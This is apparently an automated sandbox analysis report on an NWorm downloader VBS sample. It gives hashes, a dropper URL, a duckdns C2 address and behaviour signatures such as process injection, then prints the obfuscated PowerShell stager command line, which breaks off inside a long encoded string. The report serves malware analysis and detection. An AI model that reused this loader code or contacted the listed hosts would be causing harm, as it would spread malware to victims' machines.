nworm | 386128b90172d3ff50f69382446600ac2703d5a50907c02aac25db73c7be50b1

General

Target

OHTEYYRNYRTUOHCKYTYP.vbs
Size

17KB
MD5

e04e4cb7e410b885babba54cd59d5ae9
SHA1

4a4c1dc6d7a391aba21719e2b5595c11a172fd8c
SHA256

1b976a1fa26c4118d09cd6b1eaeceafccc783008c22da58d6f5b1b3019fa1ba4
SHA512

b1824f04a2b3a270a54aaba06efacd06af36d8f508fe4b41dcf6bf3901c129c063d77eaa79d5b2fca3b92cac07aad36a4178af188d3f3bb5b4af227b87cb7941

Score

10^/10

nworm downloader worm

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://15.188.246.78/Q/RILSXDKOPJHN.TXT

Extracted

Family

nworm

Version

v0.3.8

C2

nyanmoney02.duckdns.org:9031

Mutex

2e3fb6d0

Signatures

NWorm
A TrickBot module used to propagate to vulnerable domain controllers.
worm downloader nworm
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

8 3880 powershell.exe
17 3880 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 3880 set thread context of 1488 3880 powershell.exe aspnet_regbrowsers.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

3880 powershell.exe
3880 powershell.exe
3880 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3880 powershell.exe

flow	pid	process
8	3880	powershell.exe
17	3880	powershell.exe

description	pid	process	target process
PID 3880 set thread context of 1488	3880	powershell.exe	aspnet_regbrowsers.exe

pid	process
3880	powershell.exe
3880	powershell.exe
3880	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3880	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 2508 wrote to memory of 3880	2508	WScript.exe	powershell.exe
PID 2508 wrote to memory of 3880	2508	WScript.exe	powershell.exe
PID 3880 wrote to memory of 1488	3880	powershell.exe	aspnet_regbrowsers.exe
PID 3880 wrote to memory of 1488	3880	powershell.exe	aspnet_regbrowsers.exe
PID 3880 wrote to memory of 1488	3880	powershell.exe	aspnet_regbrowsers.exe
PID 3880 wrote to memory of 1488	3880	powershell.exe	aspnet_regbrowsers.exe
PID 3880 wrote to memory of 1488	3880	powershell.exe	aspnet_regbrowsers.exe
PID 3880 wrote to memory of 1488	3880	powershell.exe	aspnet_regbrowsers.exe
PID 3880 wrote to memory of 1488	3880	powershell.exe	aspnet_regbrowsers.exe
PID 3880 wrote to memory of 1488	3880	powershell.exe	aspnet_regbrowsers.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\OHTEYYRNYRTUOHCKYTYP.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2508

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $Hx = 'http://15.188.246.78/Q/RILSXDKOPJHN.TXT';Function CHGBGWUCPVSBXIVTHVKR([String] $YSPYIFQRKOLKROCJSQSO) {$SCOEXRUXFFEKPCIXXRUS = [System.Collections.Generic.List[Byte]]::new();for ($BCTNTQKOTEUUCVYWRWWX = 0; $BCTNTQKOTEUUCVYWRWWX -lt $YSPYIFQRKOLKROCJSQSO.Length; $BCTNTQKOTEUUCVYWRWWX +=8) {$SCOEXRUXFFEKPCIXXRUS.Add([Convert]::ToByte($YSPYIFQRKOLKROCJSQSO.Substring($BCTNTQKOTEUUCVYWRWWX, 8), 2))}return [System.Text.Encoding]::ASCII.GetString($SCOEXRUXFFEKPCIXXRUS.ToArray())};$RVIGZABQBSOIJNIGJODS = CHGBGWUCPVSBXIVTHVKR 'KDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQ1KDJIRFIIKQ111KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1111KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11111KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1111KDJIRFII